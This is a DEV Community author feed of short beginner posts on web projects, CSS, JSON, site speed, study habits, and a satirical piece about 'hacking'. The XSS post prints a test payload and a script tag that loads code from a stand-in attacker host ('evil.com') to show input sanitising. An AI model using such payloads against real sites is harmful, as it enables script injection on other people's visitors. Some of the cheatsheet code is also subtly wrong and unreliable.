DEV Community: manushifva

Let Me Review Your Web!

manushifva — Mon, 07 Feb 2022 11:04:32 +0000

Hello everyone, if you want to your web being reviewed, put the link in the comment.

5 Easy Projects For Beginners.

manushifva — Mon, 07 Feb 2022 07:28:25 +0000

Best way to learn programming is by code. We can train our skills, where exploring a new one. So, here's some *Easy Projects For Beginners. *

Memory game.

Difficulty : Easy
Best coded at : HTML + CSS + JavaScript, Python
Description :

Memory game is a simple game that make user remembering and click the same tiles.

Objectives :

Make a memory game.
Make the memory game customizable and expandable.

Small tips :

Store all of the answer in an array.

Miniblog.

Difficulty : Easy-Medium
Best coded at : Python, Node.js, Ruby, PHP
Description :

Miniblog is a site where user can share something, like text, image, or some snippets. Miniblog store their users' data on a file, or database.

Objectives :

Make a miniblog.
Expand the miniblog with adding additional features like comments, login, etc.

Small tips :
Markdown is a good method for storing many data types as a text.

Difficulty:

Secure login form.

Difficulty : Easy-Medium
Best coded at : Python, Node.js, Ruby, PHP
Description :

Login is one of the most common ways to authenticate user. User need to pass their personal data (username, email, password, etc) to the system, and the system will authenticate them.

Objectives :

Make a login system.
Survive these attack;
- Bruteforce attack,
- SQL Injection (if using SQL)
- Session hijacking
- Bypassing

Small tips :

For preventing bruteforce attack, use captcha.

Kanban board.

Difficulty : Easy-Medium
Best coded at : Python, Node.js, Ruby, PHP, HTML + CSS + JavaScript
Description :

A kanban (カンバン) is a task board with some cards. Kanban usually separated into some levels, like "task" or "to-do", "in-progress", and "done".

Objectives :

Make a kanban board.
Expand the kanban board by adding additional functions.

Small tips :

WebSocket is great to make your board synchronized with the server (if you use web-based interface).

Virtual assistant.

Difficulty : Medium
Best coded at : Python, C#
Description :

A virtual assistant is a tool that built to help people with their routine. Virtual assistant can do basic things that people can do.

Objective :

Make the virtual assistant.

Small tips :

Use a server.

If you done the project, please give the project link in the comment, so I can review it :)

Why Many Web Developers Are Obsessed With CSS-Only Things?

manushifva — Sun, 30 Jan 2022 09:34:56 +0000

I have seen so many CSS-only things, and it's seems so many web developers who like it so much. I know JavaScript can be disabled, but people who do it only 2% from internet population. Even if our visitors disable JavaScript, we can simply put a <noscript> that tell user to turn on their JavaScript. CSS-only file-size things also usually 2-3x or more larger than same thing that code in JavaScript.

I don't know why, maybe anyone can explain?

How We Turn This Bootstrap Based Web Into a Pixel Game-Like

manushifva — Sun, 23 Jan 2022 03:06:37 +0000

Bootstrap is great for building your web. It's simple, fast, and has great mobile support. But, making your site too "bootstrapped" is not a good thing, especially if you are a pixel game studio.

Let's take a look at this. This is our website's old display.

Looks nice and clean. But, it has one big problem, too usual. It's a big horrible mistake for us who works in the creative industry (well, this is hyperbole).

And, here's our new website's display.

Not perfect, but we're proud of this shiny-polished new website.

Our quest start.

As a game developer, assets size doesn't matter. Because assets can bloat it to the app, clients won't feel the long-loading time for the assets. This is a bit different with the web. We need to keep the file size as low as possible, use as low as possible resources, and keep the load time fast.

Designing.

Start with a concept. We use something that relates with our studio's name, Sandbottle;

Beach.

We also design the web like a retro-style game, with that big game title at the top-center, and a play button that can't play anything (lol) at the bottom-center of the page.

Start drawing

Drawing isn't a big thing when you are a pixel game studio. Right?

The answer is no.

Why? Since we only have one artist, and they are currently unavailable now. We also can't pay another, because we have some lack of cash. So, I need to wear my beret and paint that on my own.

Start searching for reference, I found this great image for reference:

That image was perfect like we need it. It has some padding at the sides and centered content exactly was planned before:

So, I'm starting to redraw that image partially. Remove and add some parts, and hocus pocus, I don't know how I can finish it.

Don't forget about the button, still to draw it.

For the button, I'm using a 32x32 px canvas, and drawing it as a 5 frames animated sprite, like this:

After doing that all, I'm drawing one more thing; the game title. Drawing the game title is the easiest part of my part-time artist journey, because I just simply copy the font and modify a bit of it from here.

Start coding

In this part, I'm doing some CSSs that centered the images, put the game title at the top and the button down.

I also want that button can play its animation when hovered. Since (pure) JavaScript can't control gif playback, I'm coding this little function;

function hover() {
    $('#gif').show()
    $('#png').hide()
}

function leave() {
    $('#gif').hide()
    $('#png').show()

    $('#gif').attr('src', '/images/button.gif?x=' + Math.random())
}

The function will show the static png when the button is unhovered, and the function will change it to gif when it's hovered.

Final test

Let's test our web with the lighthouse. Here's the result. Pretty insane right?

I think that enough for today. Kinda fun to be an artist sometimes.

Hit also the web here: https://sandbottle.net

[ Note ]
This article is reuploaded because it's accidentally removed.

I Make a Dashboard for Our Game Studio Load Faster than a Portfolio Website

manushifva — Sun, 23 Jan 2022 02:56:18 +0000

Yes. This is real. I have compare our users' dashboard with a portfolio website and our website is 40% faster. Here's a small lighthouse test that I perform:

Small note: Both tests are run in localhost.

So, let me share how we do this.

1. Using fewer resources.

Of course, we all know this. To load faster, you need to use fewer resources. But, this is not easy as said, especially if you using some library or framework that embeds you a lot of unused CSS or Javascript.

To make this UI, I'm using modified Pasta CSS*, Bootstrap-like lightweight library.

I also use customized icons from fontello.com. So, I can pick what icons I would use, without embedding a whole of them.

Don't forget about Javascript. We using a minified version of JQuery. JQuery makes my code slimmer. It's also helped me code faster, since it has the build-in function for some tasks, like toggling something, finding the nearest element, etc.

2. Using pre-rendered content.

Rather than render the page content after loading the page, I'm using this pre-rendered content.

At first, I render the main Html file. Then, I render the pre-rendered content. I'm also using Swup.js for swapping pages smoothly. Swup also helps us render fewer things.

3. Using Koa.

Koa.js is one of the most popular Node.js server libraries. Koa was developed by developers who develop Express. Koa is faster than Express, since it developed to be more modular rather than embedding.

4. Using fewer images and using lazy load.

These are the final tips. Images are hard and slow to load, especially the larger ones. Using lazy load can help the web render faster, because the lazy load pending the load process of images, and load it after the whole page is successfully loaded.

That's it. Hopefully, this can help you with speeding up your website too ⚡.

Disclaimer:

Pasta CSS was made by me.

Why Linux?

manushifva — Thu, 29 Jul 2021 02:37:29 +0000

👋 Hi Dev Community! Manushifva here. Have you use Linux? Why you use Linux? Please write your opinion in the comment below 👇.

Securing Your Comment Form From XSS Attack.

manushifva — Sat, 24 Jul 2021 10:07:38 +0000

XSS, a simple attack, but can ruin your web easily. To perform this attack, simply just type <script>alert('XSS')</script> at your fictim's comment form. If you find this notification:

Congrats, you found a vulnerable site, and you officially become a bug hunter. XD.

Back to securing the form. There are 3 methods that i know to securing your input form form XSS:

Check the input before add it to the database

Simple one. Check the input if the input not contain something suspicious. If you find it, you can reject the input.

Remove all HTML tags from input

For do this in PHP, you can use strip_tags. Here is the example:

<?php
$input = '<script src = "http://evil.com/some/evil/source"></script> Some comments';

echo strip_tags($input);
?>

And, here is the result:

Some comments

Sanitaze your input

You can sanitaze the input using a simple replace function. Simply, just replace < with < (unicode symbol for <). If you display < as the unicode, the XSS syntax will'nt run, and printed as normal string.

Yeah, that's my tips, Do you have any tips that i don't write here, you can add it down in the comment 👇.

Thanks for read, and bye! 👋.

Flex Tips: Adding Gaps

manushifva — Sat, 24 Jul 2021 09:38:21 +0000

Sometimes you need some gaps for your flex, right? But, flex doesn't support gaps, likes grid.

Here is how to make it:

.parent {
    display: flex;
    width: 100%;
    border: 1px solid black;
} 

.child {
    border: 1px solid black;
    height: 50px;
    width: fit-content;
}

.child:not(:first-child) {
    margin-left: 8px;  */ Gaps size / 2 */
}

.child:not(:last-child) {
    margin-right: 8px; */ Gaps size / 2 */
}

And here's the result:

Need HELP Building Node.Js App

manushifva — Fri, 23 Jul 2021 11:05:46 +0000

I've build a node.js app now, but i need some help, 'coz i can't handle it alone.

Requitments:

Express and MongoDB skill.
Github account

If you can help me, and fulfill the requirements, i will give this to you:

A PHP hosting for 6 month (until Desember 2021, domain not include)
Infinity mode in the app (the app is free, but you can upgrade it by paying)

If you interested, you can contact me at manu@bagikode.com, with "Work Together" as subject.

Cheers!

JSON + Javascript Cheatsheet.

manushifva — Sat, 17 Jul 2021 02:55:30 +0000

Content

Convert array to JSON
Parse JSON (convert from JSON to array)
Count JSON array length
Do loop with JSON array
Get data from JSON array
Add item to JSON array
Remove item from JSON array

Convert array to JSON

var myArr = {
    key: value,
    key2: value2
};

var myJSON = JSON.stringify(myArr);

Result:

'{"key":"value","key2":"value2"}';

Parse JSON (convert from JSON to array)

var myJSON = '{"key":"value","key2":"value2"}';

var myArr = JSON.parse(myJSON);

Result:

{
    key: value,
    key2: value2
};

Count JSON array length

var myJSON = '{"key":"value","key2":"value2"}';

var myArr = JSON.parse(myJSON);

var jsonLength = myArr.length;

Result:

Do loop with JSON array

var myJSON = '{"key":"value","key2":"value2"}';

var myArr = JSON.parse(myJSON);

myArr.forEach(function(nowItem) {
    // Do things here
})

Get data from JSON array

var myJSON = '{"key":"value","key2":"value2"}';

var myArr = JSON.parse(myJSON);

console.log(myArr["key2"]);

Result:

value2

Add item to JSON array

var myJSON = '{"key":"value","key2":"value2"}';

var myArr = JSON.parse(myJSON);

myArr["key3"] = "value3";

myArr result:

{
    key: "value", 
    key2: "value2", 
    key3: "value3"
}

Remove item from JSON array

var myJSON = '{"key":"value","key2":"value2"}';

var myArr = JSON.parse(myJSON);

delete myArr["key2"];

myArr result:

{
   "key": "value"
}

Learn Coding With Pomodoro Technique

manushifva — Fri, 16 Jul 2021 06:15:29 +0000

Pomodoro. Have you heard it? The Pomodoro Technique is a time management method developed by Francesco Cirillo in the late 1980s. The technique uses a timer to break down work into intervals, traditionally 25 minutes in length, separated by short breaks. Each interval is known as a pomodoro, from the Italian word for 'tomato', after the tomato-shaped kitchen timer that Cirillo used as a university student.

And, here it's a practice example:

So, based on this technique, i modify a bit to help you learn coding. So let's start.

What all you need

one project concept.
code editor.
any timer, you can use analog or digital.

The rule

So, here it's the rule. I have classify this technique with 3 steps. First, read. Second, write. Last, read+write.

Read
At first, we read all documentation that we need. In this step, you are prohibited from doing any coding stuff, you also prohibited to note anything from the documentation that you read. This step duration is 5 minutes.

Write
After read the documentations, you need to write the code now. In this step, you are prohibited to read any type of documentation. This step duration is 10 minutes.

Read + Write
Lastly, in this step, you can read documentations and write the code at the same time. You can correct your wrong code, or write the forgotten syntax. This step duration is 10 minutes. After this step, you can take a short break (5-10 minutes).

You can do that 3 steps for some cycles. So here it's the technique conclusion:

read 5 minutes
write 10 minutes
read+write 10 minutes
break 5-10 minutes

This technique help me 2x faster to learn a new language. That's all, Thanks for reading!

Learn Hacking as Noob

manushifva — Wed, 14 Jul 2021 08:17:34 +0000

"how to hack facebook account". That was a query that i type in the Google Search. After press enter, i open one of the million results. "You need to clone this and that repos, install many proggraming languages, and more things ..." said that article. Ah, this is too complicated. But, for hacking my friend's Facebook account, i must do this.

After learn computer programming for a few years, I realized that I had been duped by the article. The script is only filled with colored print and input.

At this post, i will teach you how to not be a hacker based on my experience. Enjoy!

Install Termux.

What we all need to hack something is Termux. You can hack anything, Google, Facebook, and even, NASA!

Install many repos, proggramming languages, tools, and wordlist.

You need 10GB wordlists, hundreds tools, and many proggramming languages, for do a hack. Does not matter how much storage is used.

Run all command that you get from internet, without checking.

Always trust anything that you get from internet. They are professional proggrammer, hacker, and system administrator.

Hack your friend's social media accounts

As the hacker, you must hack your friend's account. The best method is bruteforce, even if it takes millions of years.

Copy script from internet, and add your name on it

Why we don't do this? This is not a crime. People who call us "script kiddies" 'cuz they are so jealous to us.

Prank your friends and family with Window Virus

You can make a simple script that can remove the C:// directory, and mask the script like browser, so, when they access the "browser", they will erase theor C:// directory, and destroy their PC, with their important works. Funny, right?

Install Kali Linux on all your PC

Kali Linux is best Linux disto in the world. It can hack anything, and all hackers use this. So, we need to use this Kali Linux, even though we don't know how to do simple tasks in this distro, like connecting to a network.

Thats all.

Thanks for reading, and Bye!